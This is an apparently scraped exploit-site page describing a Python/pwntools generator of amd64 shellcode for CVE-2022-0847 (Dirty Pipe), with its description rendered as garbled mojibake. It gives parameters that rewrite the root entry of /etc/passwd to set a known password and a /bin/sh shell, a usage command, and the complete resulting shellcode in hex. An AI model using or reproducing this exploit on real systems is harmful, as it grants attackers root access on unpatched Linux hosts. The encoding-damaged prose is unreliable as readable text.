## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHOTOKHAN-CVE_2022_0847_SHELLCODE
# cve_2022_0847_shellcode
## ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΡΠΎΡ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Python-ΡΠΊΡΠΈΠΏΡ (`gen_shellcode.py`), ΠΎΡΠ½ΠΎΠ²Π°Π½Π½ΡΠΉ Π½Π° pwntools, Π΄Π»Ρ Π³Π΅Π½Π΅ΡΠ°ΡΠΈΠΈ shell-ΠΊΠΎΠ΄Π°, ΡΠ΅Π°Π»ΠΈΠ·ΡΡΡΠ΅Π³ΠΎ CVE-2022-0847.
Shell-ΠΊΠΎΠ΄ ΠΎΡΠ½ΠΎΠ²Π°Π½ Π½Π° ΡΡΠΎΠΌ PoC: antx.
Π― ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π» ΠΊΠΎΠ΄ PoC ΠΈ Π΅Π³ΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΡ strace, ΡΡΠΎΠ±Ρ ΠΏΠ΅ΡΠ΅Ρ
Π²Π°ΡΠΈΡΡ Π²ΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠ½ΡΠ΅ Π²ΡΠ·ΠΎΠ²Ρ, Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΡΠ΅ Π΄Π»Ρ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ, ΠΈ ΡΠ½Π°ΡΠ°Π»Π° Π½Π°ΠΏΠΈΡΠ°Π» ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π° C, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ `syscall.h`; ΠΎΠ½Π° Π²ΡΡ Π΅ΡΡ Π½Π΅ ΠΏΠΎΠ΄Ρ
ΠΎΠ΄ΠΈΠ»Π° Π΄Π»Ρ shell-ΠΊΠΎΠ΄Π°, Π½ΠΎ Ρ
ΠΎΡΠΎΡΠ° Π΄Π»Ρ ΡΠΏΡΠ°Π²ΠΊΠΈ, ΠΏΠΎΡΡΠΎΠΌΡ Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠΈΠ» Π΅Ρ Π·Π΄Π΅ΡΡ (`tiny_cve-2022-0847.c`).
Π€ΡΠ½ΠΊΡΠΈΡ, Π³Π΅Π½Π΅ΡΠΈΡΡΡΡΠ°Ρ shell-ΠΊΠΎΠ΄, ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ 3 ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°: ΠΏΡΡΡ ΠΊ ΡΠ°ΠΉΠ»Ρ Π΄Π»Ρ Π·Π°ΠΏΠΈΡΠΈ, Π΄Π°Π½Π½ΡΠ΅ Π΄Π»Ρ Π·Π°ΠΏΠΈΡΠΈ ΠΈ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅, ΠΏΠΎ ΠΊΠΎΡΠΎΡΠΎΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ Π±ΡΡΡ Π·Π°ΠΏΠΈΡΠ°Π½Ρ Π΄Π°Π½Π½ΡΠ΅.
ΠΡΠΈΠΌΠ΅Ρ ΡΠ³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ shell-ΠΊΠΎΠ΄Π° Π² ΡΠΎΡΠΌΠ°ΡΠ΅ Π΄ΠΈΠ·Π°ΡΡΠ΅ΠΌΠ±Π»Π΅ΡΠ° ΠΎΡ objdump ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π² `shellcode.asm`; ΠΎΠ½ Π±ΡΠ» ΡΠ³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°Π½ ΡΠΎ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌΠΈ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°ΠΌΠΈ:
* filename `/etc/passwd`
* data `:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n`
* offset `4`
ΠΠ½ ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ root Ρ ΠΏΡΡΡΡΠΌ ΠΏΠ°ΡΠΎΠ»Π΅ΠΌ.
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
root@kitploit:~
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ ΡΡΠ½ΠΊΡΠΈΡ `cve_2022_0847`, ΠΊΠΎΡΠΎΡΠ°Ρ Π³Π΅Π½Π΅ΡΠΈΡΡΠ΅Ρ shell-ΠΊΠΎΠ΄, ΡΡΠΎΠ±Ρ Π²ΡΠ·ΡΠ²Π°ΡΡ Π΅Ρ Π² Π΄ΡΡΠ³ΠΈΡ
ΡΠΊΡΠΈΠΏΡΠ°Ρ
, ΠΈΠ»ΠΈ Π½Π°ΠΏΡΡΠΌΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠΎΡ ΡΠΊΡΠΈΠΏΡ; Π΅ΡΡΡ ΡΡΠ½ΠΊΡΠΈΡ `example_usage`, ΠΊΠΎΡΠΎΡΠ°Ρ Π²ΡΠ·ΡΠ²Π°Π΅Ρ `cve_2022_0847` ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ ELF-ΡΠ°ΠΉΠ» Ρ shell-ΠΊΠΎΠ΄ΠΎΠΌ.
Π€ΡΠ½ΠΊΡΠΈΡ `cve_2022_0847` ΡΠ°ΠΊΠΆΠ΅ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π±Π°Π·ΠΎΠ²ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΠΊΠΎΡΡΠ΅ΠΊΡΠ½ΠΎΡΡΠΈ ΠΈ Π²ΡΠ²ΠΎΠ΄ΠΈΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ Ρ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠΎΠΌ ΠΈ Π΄ΠΈΠ·Π°ΡΡΠ΅ΠΌΠ±Π»ΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ shell-ΠΊΠΎΠ΄, Π΅ΡΠ»ΠΈ Π·Π°Π΄Π°Π½ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ `verbose`.
ΠΠ½Π° Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΎΠ±ΡΠ°Π½Π½ΡΠΉ shell-ΠΊΠΎΠ΄. Π€ΡΠ½ΠΊΡΠΈΡ `main` Π²ΡΠ·ΡΠ²Π°Π΅Ρ `cve_2022_0847` Ρ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°ΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ ΠΈ Π²ΡΠ²ΠΎΠ΄ΠΈΡ ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΡΠΉ shell-ΠΊΠΎΠ΄ Π² C-ΡΡΠΈΠ»Π΅ (ΡΠ΅ΡΡΠ½Π°Π΄ΡΠ°ΡΠ΅ΡΠΈΡΠ½ΡΠΉ), Ρ.Π΅. Π±Π΅Π· Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΏΠ΅ΡΠ°ΡΠ°Π΅ΠΌΡΡ
Π±Π°ΠΉΡΠΎΠ². ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ:
root@kitploit:~
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
## ΠΡΠΊΠ°Π· ΠΎΡ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ
ΠΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅ΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π°ΡΡ
ΠΈΡΠ΅ΠΊΡΡΡΠ° `amd64`.